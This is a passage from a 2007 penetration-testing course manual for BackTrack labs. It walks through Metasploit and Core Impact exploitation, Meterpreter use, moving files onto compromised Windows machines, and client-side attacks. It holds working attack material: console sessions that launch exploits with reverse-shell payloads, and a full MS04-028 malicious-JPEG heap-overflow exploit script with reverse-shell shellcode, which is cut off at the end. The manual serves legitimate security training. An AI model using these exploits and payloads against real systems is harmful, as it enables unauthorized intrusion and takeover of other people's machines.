"\x44\x33\x4f\x45\x46\x35\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e".
"\x4e\x4f\x4b\x53\x42\x35\x4f\x4f\x48\x4d\x4f\x35\x49\x48\x45\x4e".
"\x48\x36\x41\x48\x4d\x4e\x4a\x30\x44\x50\x45\x55\x4c\x56\x44\x50".
"\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x50\x45\x4f\x4d\x4a\x47\x55".
"\x4f\x4f\x48\x4d\x43\x45\x43\x55\x43\x55\x43\x45\x43\x34\x43\x45".
"\x43\x54\x43\x55\x4f\x4f\x42\x4d\x4a\x56\x4e\x4a\x42\x41\x41\x50".
"\x48\x48\x48\x46\x4a\x46\x42\x41\x41\x4e\x48\x56\x43\x35\x49\x38".
"\x41\x4e\x45\x49\x4a\x46\x4e\x4e\x49\x4f\x4c\x4a\x42\x56\x47\x45".
"\x4f\x4f\x48\x4d\x4c\x36\x42\x41\x41\x45\x45\x35\x4f\x4f\x42\x4d".
"\x48\x56\x4c\x46\x46\x46\x48\x56\x4a\x46\x43\x56\x4d\x46\x4c\x56".
"\x42\x35\x49\x45\x49\x42\x4e\x4c\x49\x48\x47\x4e\x4c\x56\x46\x44".
"\x49\x48\x44\x4e\x41\x33\x42\x4c\x43\x4f\x4c\x4a\x45\x39\x49\x58".
"\x4d\x4f\x50\x4f\x44\x54\x4d\x52\x50\x4f\x44\x34\x4e\x42\x4d\x38".
"\x4c\x57\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46\x44\x47\x50\x4f".
"\x43\x4b\x48\x51\x4f\x4f\x45\x47\x4a\x52\x4f\x4f\x48\x4d\x4b\x55".
"\x47\x35\x44\x45\x41\x35\x41\x35\x41\x55\x4c\x46\x41\x50\x41\x55".
"\x41\x45\x45\x35\x41\x35\x4f\x4f\x42\x4d\x4a\x56\x4d\x4a\x49\x4d".
"\x45\x30\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x56\x4f\x4f\x4f\x4f".
"\x47\x33\x4f\x4f\x42\x4d\x4a\x56\x47\x4e\x49\x57\x48\x4c\x49\x37".
"\x4f\x4f\x45\x37\x46\x30\x4f\x4f\x48\x4d\x4f\x4f\x47\x47\x4e\x4f".
"\x4f\x4f\x42\x4d\x4a\x56\x42\x4f\x4c\x38\x46\x50\x4f\x45\x43\x35".
"\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a";
BT framework2 #
[Link] replace the original shellcode with our newly generated one, and start a
Netcat listening shell on port 4321.
188
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
C:\Program Files\WinGate>
189
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
7.1.3 Exercise 14
Lab Requirements:
● BackTrack.
● Internet connection.
2. Install Wingate 6.1.1 Demo (in the “Extras” folder on the desktop) on your
Windows client machine. Identify the vulnerable Wingate service and exploit it as
described in the exercise.
190
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Locating exploits on the web is relatively easy, using Security Focus and milw0m.
191
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
This cuts down the time we need to spend browsing and brings us directly to the
BID required. We browse to [Link] and
see that several exploit codes have been released.
192
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
193
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
7.2.2 [Link]
[Link] is a non profit site which is well known for its exploit database.
The milw0rm site contains many other security education articles and movies. I
strongly recommend to get to know this site well.
The site features a search function which can be used to locate exploits:
194
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
I often get asked: “So I've got a shell, now what ?”. Well, now that we've got a
SYSTEM shell we are able to execute administrative commands. This means we
can add users, change passwords, dump passwords, install software, change
configurations etc.
Exercise
C:\WINDOWS\system32>net users
net users
-------------------------------------------------------------------------------
Administrator Guest HelpAssistant
muts SUPPORT_388945a0
C:\WINDOWS\system32>
195
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
2. From a Windows machine, (not a remote shell!) try connecting to an FTP server
and logging on:
C:\>ftp [Link]
Connected to [Link].
220 [Link] FTP server ready
User ([Link]:(none)): test
331 Password required for test.
Password:
530 Login incorrect.
Login failed.
ftp> bye
221 Goodbye.
C:\>
Ignore the fact that we didn't actually log on, and notice that the ftp process has
exited after we gave it input - the username, password and the “bye” command.
This is an interactive program which requires user intervention in order to
complete. The basic rule of a standard remote shell is :
The reason for this is that the standard output from an interactive program does
not get redirected correctly to the shell, and we will often get timed out or
disconnected from the shell. Try logging in to an ftp server form a remote shell
and see it for yourself.
196
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Tftp is a UDP based file transfer protocol. For more information about Tftp,
please visit:
[Link]
Windows operating systems contains a TFTP client by default. By using this built
in client, we can transfer files to and from the victim machine using a remote
shell.
We will need to set up a TFTP server for the victim to connect to and download /
upload files. Let's fire up our BackTrack TFTP server via the menu and check for
a listening UDP port 69.
197
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
We'll copy the file we want to transfer to the victim, to the /tmp directory on the
attackers machine:
bt ~ # cp /pentest/windows-binaries/tools/[Link] /tmp/
We can now attempt to transfer this file to the victim, using our newly gained
remote shell:
C:\WINDOWS\system32>dir [Link]
dir [Link]
Volume in drive C has no label.
Volume Serial Number is B4B7-CCDF
Directory of C:\WINDOWS\system32
C:\WINDOWS\system32>
Notice that we've run the tftp command on the victim machine, connected to our
attacking machine ([Link]) which is running a TFTP server, and GET'ing
[Link] by tftp.
198
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Windows also contains a default ftp client which can be used for file transfers. As
we've previously seen, ftp is an interactive command which requires input in
order to complete. We will need to solve this problem before attempting to use
ftp.
Looking at the ftp command help, we see that the windows ftp client supports
receiving FTP commands from a text file.
We'll set up an FTP server and place our file which we want to transfer in the
FTP home directory.
199
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Back to the victim shell, we want to get the ftp client working using only non
interactive commands:
This method is a bit baffling at first. It involves echoing hex bytecode into a text
file (much like we did in the FTP file transfer), and then compiling it with the
ASM debugger, [Link].
bt ~# cd /pentest/windows-binaries/tools/
bt tools # wine [Link] [Link] [Link]
This command creates a file called [Link] in our working directory. This file
contains the bytecode that creates the [Link] executables. Notice that the format
of this file is built in such a way where it can be simply pasted into a victim shell,
echo'ed to the victim filesystem. and then compiled with [Link] on the victim
machine.
200
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
8.3 Exercise 15
Lab Requirements:
● BackTrack.
1. Gain a shell on your Windows XP SP1 machine, and attempt to implement each of
the file transfer methods described. For the FTP file transfer exercise, an FTP
server is already set up on [Link].
user:evil
pass :hacker
201
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
In the past few years, several exploit frameworks have been developed, such as
Metasploit (non commercial) and Core Impact (commercial). While browsing the
net, I found an interesting article about exploit frameworks:
[Link]
9.1 Metasploit
As described by its authors, the Metasploit Framework is an advanced open-
source platform for developing, testing, and using exploit code. This project
initially started off as a portable network game and has evolved into a powerful
tool for penetration testing, exploit development and vulnerability research.
The Framework was written in the Perl scripting language and includes various
components written in C, assembler and Python.
The widespread support for the Perl language allows the Framework to run on
almost any Unix-like system under its default configuration. A customized
202
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Framework has slowly but surely become the number one exploit collection and
development framework of every hacker and pen tester. It is frequently updated
with new exploits and is constantly being improved and further developed.
Metasploit can be run using various interfaces: command line, console and web.
bt ~ # cd /pentest/exploits/framework2/
bt framework2 # ./msfcli
| | _) |
__ `__ \ _ \ __| _` | __| __ \ | _ \ | __|
| | | __/ | ( |\__ \ | | | ( | | |
_| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|
_|
============= Exploits
203
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
bt framework2 #
Let's use Framework v2.0 to exploit a lab machine by using a common exploit.
204
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
1. We'll use the RCP DCOM exploit (MS03-026) and run it against our victim,
[Link]. We'll start by identifying the correct exploit to use:
Exploit Options
===============
bt framework2 #
3. We now need to choose a payload. We can see the list of available payloads by
using the “P” argument:
205
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
bt framework2 #
4. We'll choose a bind shell shellcode for starters and then check for available
“targets” (OS specific return addresses):
bt framework2 #
In this case we see that there is one target and it is universal across all service
packs.
C:\WINDOWS\system32>
206
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
6. Please experiment with a reverse shell payload. Do not forget to add the LHOST
parameter (the IP you want the reverse shell to be sent to).
bt framework2 # ./msfconsole
| | _) |
__ `__ \ _ \ __| _` | __| __ \ | _ \ | __|
| | | __/ | ( |\__ \ | | | ( | | |
_| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|
_|
207
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
C:\WINDOWS\system32>
Typing info <module name> while in the Msf Console prints out information
about the module.
208
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Mfsweb starts a Metasploit web server on [Link] port 55555. Browsing to this
port gives us a neat web interface to Metasploit Framework. Via this interface we
can literally “click and hack” using Metasploit.
I never use the Msfweb during a pentest as it adds a layer of abstraction between
the shell and the pentester. For example, there's nothing more annoying than
working hours to get a shell, and then loose it because Msfweb crashed.
However, using Msfweb in a managerial meeting and demonstrating the ease of
“penetration” via a simple web interface does leave an impression...
209
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
1. Run Msfweb:
bt framework2 # ./msfweb
+----=[ Metasploit Framework Web Interface ([Link]:55555)
210
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Experiment with the bind / reverse / vnc payloads. We'll go over other payloads
in a later chapter.
211
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
4. We execute the exploit, and see that a sessions has been created. As for the
reverse VNC shellcode, it has a tendency not to work. If you see a session has
been created, wait for up to one minute for the VNC connection to initiate.
212
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
5. A VNC windows should appear (if you're lucky!). Notice that you have been
provided with a “Courtesy Shell”, in case the machine is in a logged off state.
213
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
9.1.4 Exercise 16
Lab Requirements:
● BackTrack.
● Internet connection.
1. Attack the Windows XP lab computer with a relevant exploit, and gain a shell
using Metasploit Framework. Try the console and command line Metasploit
interfaces.
2. Experiment with bind, reverse and adduser payloads. Don't forget to restart the
service or reboot the victim lab machine between attacks.
214
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
[Link]
We can deploy Meterpreter as exploit payload, or via binary form. We'll discuss
binary form deployment in a later module.
1. Gain a Meterpreter shell on a vulnerable machine. Once in, type help view the
Core feature set of commands.
215
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
2. Load the filesystem (Fs) and process (Process) Metasploit extensions. Type in
help to see the new features added.
3. We can now use these functions in order to simplify our remote shell experience.
We can upload and download files, manage processes, execute command shells
and interact with them, etc.
216
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
17 processes.
meterpreter>
meterpreter> execute -H -f cmd -c
execute: Executing 'cmd'...
meterpreter>
execute: success, process id is 492.
execute: allocated channel 6 for new process.
meterpreter> interact 6
interact: Switching to interactive console on 6...
meterpreter>
interact: Started interactive channel 6.
C:\WINDOWS\system32>exit
exit
4. Check out the other extensions Metasploit has to offer – the Net, Sys and Sam
extensions. We'll be talking about the Sam extension later on in the course.
217
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
As described on the Metasploit site, the win32 PassiveX payload system loads an
arbitary ActiveX control through Internet Explorer. The PassiveX payload loads
the next stage over HTTP. The HTTP transport emulates a standard TCP
connection and interact with [Link], VNC, or Meterpreter over HTTP. The
connection uses Internet Explorer settings for proxy access, if configured. This
technique is able to foil organizational and often personal firewalls.
[Link]
Let's exploit a vulnerable machine and run the PassiveX payload on it. We'll
capture traffic to and from the vulnerable machine, in order to analyse the traffic
content of the exploitation process.
We've received a Meterpreter shell over an outbound HTTP conneciton from the
victim. This can be seen in the Wireshark capture dump on TCP port 80.
218
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
219
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
We can now send this file in various forms to the victim, as part of a Trojan horse
or client side attack. Once executed, a reverse Meterpreter shell should be sent
to our attacking machine.
220
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
9.1.6 Exercise 17
Lab Requirements:
● BackTrack.
● Internet connection.
2. Attack your Windows XP lab computer and gain a meterpreter shell using
Metasploit Framework. Try the console and command line Metasploit interfaces.
3. Experiment with bind / reverse and adduser payloads. Don't forget to restart the
service or reboot the victim lab machine between attacks.
3. Once you feel comfortable with Metasploit, try exploiting the Oracle Server and
gain a shell on the machine!
221
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
BT framework3 # ./msfconsole
=[ msf v3.0-beta-dev
+ -- --=[ 132 exploits - 99 payloads
+ -- --=[ 17 encoders - 4 nops
=[ 27 aux
222
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
223
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Framework v3.0 is constantly being updated with new tools and features. The
following list of features is just a short introduction to the myriad of options this
tool has to offer.
[Link] db_autopwn
BT ~ # cd /pentest/exploits/framework3/
BT framework3 # ./start-db_autopwn
The files belonging to this database system will be owned by user "postgres".
This user must also own the server process.
postmaster -D /home/postgres/metasploit3
or
224
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
postmaster starting
[**************************************************************]
[*] Postgres should be setup now. To run db_autopwn, please:
[*] # su - postgres
[*] # cd /pentest/exploits/framework3
{*] # ./msfconsole
[*] msf> load db_postgres
[**************************************************************]
BT framework3 # LOG: database system was shut down at 2006-12-10 06:53:28 GMT
LOG: checkpoint record is at 0/33A6AC
LOG: redo record is at 0/33A6AC; undo record is at 0/0; shutdown TRUE
LOG: next transaction ID: 565; next OID: 10794
LOG: next MultiXactId: 1; next MultiXactOffset: 0
LOG: database system is ready
LOG: transaction ID wrap limit is 2147484146, limited by database "postgres"
BT framework3 # su - postgres
/dev/pts/0: Operation not permitted
BT ~ $ cd /pentest/exploits/framework3
BT framework3 $ ./msfconsole
____________
< metasploit >
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
=[ msf v3.0-beta-dev
+ -- --=[ 131 exploits - 99 payloads
+ -- --=[ 17 encoders - 4 nops
=[ 27 aux
225
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Command shell [Link]:23443 -> [Link]:1058
226
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
C:\WINDOWS\system32>
One of the new features of Backtrack is the Lorcon Metasploit integration. This
enables us to use the recent Windows wifi driver exploits released by Metasploit.
Most dell, HP and Acer laptops are vulnerable, so running these exploits in a
laptop rich environment would probably result several laptops being hacked -
without them even being associated to a network or having an IP address!
This attack is special in many ways. Firstly, we’re attacking a kernel driver. If I’m
not mistaken, this is the first public exploit which allows for remote code
execution in ring 0.
Since the attack is based on an SSID stack overflow, our victims do not even
need to be connected to an access point or have an IP address in order for this
attack to take place.
Just by sending a long SSID field to the driver, we are able to hijack the
execution flow on a victim machine, and execute any code we wish. Let’s try
running this exploit on a victim machine.
227
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
BT framework3 # ./msfconsole
_ _
_ | | (_)_
____ ____| |_ ____ ___ ____ | | ___ _| |_
| \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
|_|
=[ msf v3.0-beta-dev
+ -- --=[ 125 exploits - 99 payloads
+ -- --=[ 17 encoders - 4 nops
=[ 21 aux
Global
======
Module: windows/driver/broadcom_wifi_ssid
=========================================
Name Value
---- -----
ADDR_DST FF:FF:FF:FF:FF:FF
CHANNEL 11
DRIVER madwifi
EXITFUNC thread
INTERFACE ath0
RUNTIME 60
WfsDelay 0
228
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Global
======
Module: windows/driver/broadcom_wifi_ssid
=========================================
Name Value
---- -----
ADDR_DST 00:90:96:50:56:D2
CHANNEL 6
DRIVER madwifi
EXITFUNC thread
INTERFACE ath1
LHOST [Link]
PAYLOAD windows/shell_reverse_tcp
RHOST [Link]
RUNTIME 180
TARGET 0
WfsDelay 0
C:\WINDOWS\system32>exit
exit
229
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
9.1.9 Exercise 18
Lab Requirements:
● BackTrack.
● Internet connection.
● c
2. Attack your Windows XP lab computer, and gain a Meterpreter shell using
Metasploit 3 Framework. Try the console and command line Metasploit
interfaces.
3. Use Framework3 to identify and enumerate all lab machines using the auxiliary
modules.
4. Please do not use db_autopwn in the labs, as it will exploit other student
machines and disturb the labs.
230
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Although not a part of BackTrack, I felt that the “Exploit Frameworks” module
would not be complete without mentioning the commercial Penetration Testing
Framework – Core Impact.
I have used this tool on many occasions, and it has proved to be the single most
effective tool a penetration tester can own. It organizes and categorizes tools in
an intuitive way, and is frequently updated with commercial grade exploits. This
module will barely cover the essential basics of Core Impact usage. It is a
complex and powerful tool with hundreds of exciting features. For more details
about Core Impact training and demos, contact info@[Link].
231
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
1. Let's start by firing up Core Impact (CI) and creating a new workspace. Please
note that your results will differ form the onces in this demonstration. Feel free
to explore the Lab environment using CI.
232
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
2. Complete the wizard and assign the workspace a password. You will be
presented with the CI main interface window.
3. Browse through the tools and get acquainted with the tool modules structure.
233
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
234
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
235
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
In this example, all machines except one are identified as running Microsoft
Windows.
8. We TCP port scan the Macintosh machine, and recognize Windows File Sharing
services running. Let's try enumerating users on this machine using the SMB
information gathering module.
Module "DCE-RPC SAMR Dumper" (v1.18) started execution on Wed Dec 06 16:46:45 2006
236
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
9. We'll scan the [Link] machine which looks like a Windows 2000 machine.
After checking the open port list on this machine, we use the latest remote RPC
exploit (ms06-040 at the time of writing) to gain access to this machine, and
install a “level 0” agent on it. We can choose between a “bind” and “reverse”
connection to the agent. If the exploit is successful, you should see the agent
installed.
237
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
[Link] would like to explore the new network using core impact. This is one of the
fancier features of CI. We can now set the installed agent as a now “Source” and
pivot any attack from this agent to the new network. This feature can be
extended and remote networks can be explored using “agent chaining”.
[Link] will start the information gathering cycle again on the newly discovered
network and exploit a Windows XP machine on the remote network.
[Link] can now experiment with “housekeeping” tools and modules, such as
Keyloggers, Sniffers (required Pcap module), screen captures, etc.
238
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
9.2.1 Exercise 19
Lab Requirements:
● BackTrack.
● Internet connection.
1. Connect to your Windows XP SP1 Client. Use Core Impact to Explore the lab
network as described in this module.
239
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
Client side attacks are probably the most evil form of remote attack. A client side
attack involves exploiting a weakness in client software, such as a browser (as
opposed to server software, such as an FTP server), in order to gain access to a
machine. The nastiness of client side attacks stems from the fact that the victim
computer does not have to be routable or directly accessible to the attacker. As
long as the victim is able to browse to the attacker site, the attack can occur.
240
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
1. The victim browses the attacker's site (perhaps due to a social engineering
attack).
2. Malicious html exploits a browser vulnerability, and executes shellcode.
3. Shellcode is a reverse shell over port 443 to the attacker's machine.
241
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
10.2 MS04-028
Client side attacks can come in other forms, such as Microsoft Doc, Ppt or Xls
files, which may exploit a vulnerability in Microsoft Office. Perhaps one of the
nastiest client side bugs was the Microsoft GDI heap overflow, which could be
triggered by a JPG image file. Sending the vulnerable victim a seemingly benign
JPG would result in code execution on their machine just by viewing (or
previewing) the file.
We'll use [Link], as it's easily editable for our needs. Please take time to review
this exploit.
As you will notice, this exploit requires a bit of tweaking. The code needs some
fixing (alignment of lines), and the shellcode needs to be replaced. In addition,
the return address needs to be specified and a breakpoint needs to be removed
(please review video session).
242
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
BT ~ # cat [Link]
#!/bin/sh
#
# MS04-028 Exploit PoC II with Shellcode: CreateUser X in Administrators Group
#
# Tested on:
# WinXP Professional English SP1 - [Link] version 5.1.3097.0
# WinXP Professional Italian SP1 - [Link] version 5.1.3101.0
# (SP2 is not vulnerable, don't waste your time trying this exploit on it!)
#
# Usage:
# first, replace the "\xCC" = INT3 instruction at beginning of shellcode
# second, choose a right ret address for GDI+ DLL and WinXP version
# then, create crafted JPEG with: sh [Link] > [Link]
#
# Created by:
# Elia Florio
# (heap overflow study purpose, not for lamerz, not for script-kiddie)
#
# Thanx to:
# [Link]
# [Link]
# idefense
# full-disclosure list
#********************************************
#Standard JPEG header
#********************************************
printf "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x02\x00\x00\x64\x00\x60\x00\x00"
printf "\xFF\xEC\x00\x11\x44\x75\x63\x6B\x79\x00\x01\x00\x04\x00\x00\x00\x0A\x00\x00"
printf "\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\xC0\x00\x00\x00\x01"
#********************************************
#Heap Overflow Trigger DWORD - 00 length field (01 works too)
#********************************************
printf "\xFF\xFE\x00\x01"
#********************************************
#Additional stuff to complete the header
#********************************************
printf "\x00\x14\x10\x10\x19\x12\x19\x27\x17\x17\x27\x32"
#********************************************
#Sugg. by [Link]
# 1) Opening directly in IE
#Address to overwrite = RtlEnterCriticalSelection() - 4
#Check page 172 of SC Handbook for those of you playing along at home
#********************************************
printf "\xEB\x0F\x26\x32" #control ECX register
243
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
#********************************************
#Address of shellcode
#********************************************
#printf "\x42\x42\x42\x42" #control EDX, if u wanna raise an exception and debug in GDI+
printf "\xDC\xB1\xE7\x70" #70E7B1DC WinXP Professional English SP1
#printf "\xDC\xB1\x30\x78" #7830B1DC WinXP Professional Italian SP1
#********************************************
#end_of_jpeg_header
#********************************************
printf "\x26\x2E\x3E\x35\x35\x35\x35\x35\x3E"
#NOP1
printf "\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
printf "\x00\x05\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8"
#********************************************
#Image junk here...fake JPG
#********************************************
printf "\x00\x00\x00\xFF\xDB\x00\x43\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07";
printf "\x07\x09\x09\x08\x0A\x0C\x14\x0D\x0C\x0B\x0B\x0C\x19\x12\x13\x0F\x14";
printf "\x1D\x1A\x1F\x1E\x1D\x1A\x1C\x1C\x20\x24\x2E\x27\x20\x22\x2C\x23\x1C";
printf "\x1C\x28\x37\x29\x2C\x30\x31\x34\x34\x34\x1F\x27\x39\x3D\x38\x32\x3C";
printf "\x2E\x33\x34\x32\xFF\xDB\x00\x43\x01\x09\x09\x09\x0C\x0B\x0C\x18\x0D";
printf "\x0D\x18\x32\x21\x1C\x21\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32";
printf "\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32";
printf "\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32";
printf "\x32\x32\x32\x32\x32\xFF\xC0\x00\x11\x08\x00\x03\x00\x03\x03\x01\x22";
printf "\x00\x02\x11\x01\x03\x11\x01\xFF\xC4\x00\x1F\x00\x00\x01\x05\x01\x01";
printf "\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05";
printf "\x06\x07\x08\x09\x0A\x0B\xFF\xC4\x00\xB5\x10\x00\x02\x01\x03\x03\x02";
printf "\x04\x03\x05\x05\x04\x04\x00\x00\x01\x7D\x01\x02\x03\x00\x04\x11\x05";
printf "\x12\x21\x31\x41\x06\x13\x51\x61\x07\x22\x71\x14\x32\x81\x91\xA1\x08";
printf "\x23\x42\xB1\xC1\x15\x52\xD1\xF0\x24\x33\x62\x72\x82\x09\x0A\x16\x17";
printf "\x18\x19\x1A\x25\x26\x27\x28\x29\x2A\x34\x35\x36\x37\x38\x39\x3A\x43";
printf "\x44\x45\x46\x47\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64";
printf "\x65\x66\x67\x68\x69\x6A\x73\x74\x75\x76\x77\x78\x79\x7A\x83\x84\x85";
printf "\x86\x87\x88\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4";
printf "\xA5\xA6\xA7\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3";
printf "\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE1";
printf "\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8";
printf "\xF9\xFA\xFF\xC4\x00\x1F\x01\x00\x03\x01\x01\x01\x01\x01\x01\x01\x01";
printf "\x01\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A";
printf "\x0B\xFF\xC4\x00\xB5\x11\x00\x02\x01\x02\x04\x04\x03\x04\x07\x05\x04";
printf "\x04\x00\x01\x02\x77\x00\x01\x02\x03\x11\x04\x05\x21\x31\x06\x12\x41";
printf "\x51\x07\x61\x71\x13\x22\x32\x81\x08\x14\x42\x91\xA1\xB1\xC1\x09\x23";
printf "\x33\x52\xF0\x15\x62\x72\xD1\x0A\x16\x24\x34\xE1\x25\xF1\x17\x18\x19";
printf "\x1A\x26\x27\x28\x29\x2A\x35\x36\x37\x38\x39\x3A\x43\x44\x45\x46\x47";
printf "\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64\x65\x66\x67\x68";
printf "\x69\x6A\x73\x74\x75\x76\x77\x78\x79\x7A\x82\x83\x84\x85\x86\x87\x88";
printf "\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4\xA5\xA6\xA7";
printf "\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3\xC4\xC5\xC6";
printf "\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE2\xE3\xE4\xE5";
printf "\xE6\xE7\xE8\xE9\xEA\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFF\xDA\x00";
244
© All rights reserved to Author Mati Aharoni, 2007
5.3.3 Exercise 13............................................................................................................144
printf "\x0C\x03\x01\x00\x02\x11\x03\x11\x00\x3F\x00\xF9\xFE\x8A\x28\xA0\x0F";
#********************************************
#"A" buffer
#********************************************
perl -e 'print "\x41"x1601'; #buffer 1601 x NOP
#********************************************
#SHELLCODE AREA
#place shellcode here...
#don't use any "FFD9" bytes, cause it is the marker for end of jpeg image
#********************************************
printf "\x90\x90\x90\x90"; #replace "CC=INT3" byte with NOP to make it works!
#********************************************
#shellcode: Reverse Shell [Link]
#********************************************
printf "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
printf "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
printf "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
printf "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
printf "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
